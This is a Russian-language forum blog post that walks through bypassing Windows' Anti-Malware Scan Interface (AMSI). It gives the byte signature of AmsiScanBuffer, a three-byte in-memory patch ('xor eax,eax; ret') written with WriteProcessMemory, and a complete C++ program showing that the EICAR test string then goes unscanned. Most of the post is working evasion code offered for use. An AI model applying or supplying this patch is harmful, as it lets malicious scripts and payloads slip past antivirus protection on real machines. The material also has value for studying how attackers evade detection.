Форум программистов, компьютерный форум, киберфорум
Наши страницы
_lunar_
Войти
Регистрация
Восстановить пароль
Рейтинг: 5.00. Голосов: 1.

Обход Anti-Malware Scan Interface (AmsiScanBuffer bypass)

Запись от _lunar_ размещена 01.01.2020 в 19:15
Обновил(-а) _lunar_ 12.01.2020 в 21:30

С релизом Windows 10 компания Microsoft представила новый интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (например Windows Defender).
Называется этот интерфейс Anti-Malware Scan Interface и представлен в системной библиотеке amsi.dll
Данная библиотека имеет небольшой размер и полностью реверсится за пару дней. Но зачем утруждать себя лишней работой, если MS поставляет её исходный код в пакете SDK (amsi.h, amsi.lib).

Для начала нужно понять что это такое и для чего используется.
AMSI обеспечивает повышенную защиту от использования современных инструментов, тактик и процедур (TTP), обычно используемых во время атак вредоносный ПО.
AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное обеспечение до его запуска.

Чтобы увидеть как всё это работает, воспользуемся тестовым файлом проверки антивируса EICAR-Test-File
C++
1
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
Эта строка была специально создана для анализа срабатывания антивирусов и не несёт в себе никакого исполняемого кода пруф от касперского

Первое что нужно сделать - проинициализировать дескриптор контекста, который будет проверяться
C++
1
2
HAMSICONTEXT AmsiContext = nullptr;
AmsiInitialize((PCWSTR)EICAR, &AmsiContext);
Далее, инициализируем дескриптор сессии
C++
1
2
HAMSISESSION AmsiSession = nullptr;
AmsiOpenSession(AmsiContext, &AmsiSession);
И третье, собственно сканируем данные на предмет вредоносного контента
C++
1
2
AMSI_RESULT Result{};
AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result);
В переменную Result вернётся значение, чем оно меньше (AMSI_RESULT_CLEAN или AMSI_RESULT_NOT_DETECTED) тем безопаснее контент.

При выполнении данного кода, антивирус выдаст следующее (Result = AMSI_RESULT_DETECTED)
Нажмите на изображение для увеличения
Название: 1.png
Просмотров: 862
Размер:	13.8 Кб
ID:	5780

Чтобы обойти AMSI необходимо изучить ассемблерный код функции AmsiScanBuffer.
Первые 24 байта этой функции дают полную уникальность относительно остального кода библиотеки amsi.dll
Вот её сигнатура и маска
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
BYTE pattren_AmsiScanBuffer[24] =
{
    0x4C,0x8B,0xDC,         // mov r11,rsp
    0x49,0x89,0x5B,0x08,    // mov qword ptr ds:[r11+8],rbx
    0x49,0x89,0x6B,0x10,    // mov qword ptr ds:[r11+10],rbp
    0x49,0x89,0x73,0x18,    // mov qword ptr ds:[r11+18],rsi
    0x57,                   // push rdi
    0x41,0x56,              // push r14
    0x41,0x57,              // push r15
    0x48,0x83,0xEC,0x70     // sub rsp,70
};
 
PCCH mask_AmsiScanBuffer = "xxxxxxxxxxxxxxxxxxxxxxxx";
Суть обхода заключается в том, чтобы функция AmsiScanBuffer вернула в переменную Result как можно меньшее число.
Для этого, нужно заставить AMSI не отправлять контент на проверку антивирусному обеспечению.

Как можно видеть, первые 3 байта функции заняты инструкцией mov r11,rsp
Этого количества байт вполне хватит для того, чтобы завершить функцию в самом начале её исполнения.
Поэтому перепишем эти 3 байта следующими
Assembler
1
2
xor eax,eax     ; 0x31,0xC0,
ret             ; 0xC3
Ищем дескриптор библиотеки amsi.dll в памяти и переписываем её память следующим образом
C++
1
2
3
4
5
6
7
8
PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
 
BYTE fake_AmsiScanBuffer[3] = {
    0x31,0xC0,      // xor eax,eax
    0xC3            // ret
};
 
WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr);
В итоге получаем вот такой код, при выполнении которого тестовый файл не будет отправлен на проверку антивирусу и AmsiScanBuffer вернёт AMSI_RESULT_CLEAN
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <Windows.h>
#include <iostream>
#include <amsi.h>
 
#pragma comment(lib, "amsi")
 
#define EICAR "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
 
int main()
{
    HAMSICONTEXT AmsiContext = nullptr;
    HAMSISESSION AmsiSession = nullptr;
 
    AmsiInitialize((PCWSTR)EICAR, &AmsiContext);
    AmsiOpenSession(AmsiContext, &AmsiSession);
 
    //=========================================================================================================
 
    PVOID Addr = GetProcAddress(GetModuleHandle("amsi"), "AmsiScanBuffer");
 
    BYTE fake_AmsiScanBuffer[3] = {
        0x31,0xC0,      // xor eax,eax
        0xC3            // ret
    };
 
    WriteProcessMemory(GetCurrentProcess(), Addr, &fake_AmsiScanBuffer, sizeof(fake_AmsiScanBuffer), nullptr);
 
    //=========================================================================================================
 
    AMSI_RESULT Result{};
    AmsiScanBuffer(AmsiContext, (PBYTE)EICAR, sizeof(EICAR), (PCWSTR)EICAR, AmsiSession, &Result);
 
    switch (Result)
    {
    case AMSI_RESULT_CLEAN:
        std::cout << "AMSI_RESULT_CLEAN" << std::endl;
        break;
    case AMSI_RESULT_NOT_DETECTED:
        std::cout << "AMSI_RESULT_NOT_DETECTED" << std::endl;
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
        std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_START" << std::endl;
        break;
    case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
        std::cout << "AMSI_RESULT_BLOCKED_BY_ADMIN_END" << std::endl;
        break;
    case AMSI_RESULT_DETECTED:
        std::cout << "AMSI_RESULT_DETECTED" << std::endl;
        break;
    default:
        std::cout << "N/A" << std::endl;
        break;
    }
 
    std::cout << "\nPress enter for the close amsi session and exit from app." << std::endl;
    std::cin.get();
 
    AmsiCloseSession(AmsiContext, AmsiSession);
    AmsiUninitialize(AmsiContext);
 
    return 0;
}
Размещено в Без категории
Просмотров 199 Комментарии 0
Всего комментариев 0
Комментарии
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2020, vBulletin Solutions, Inc.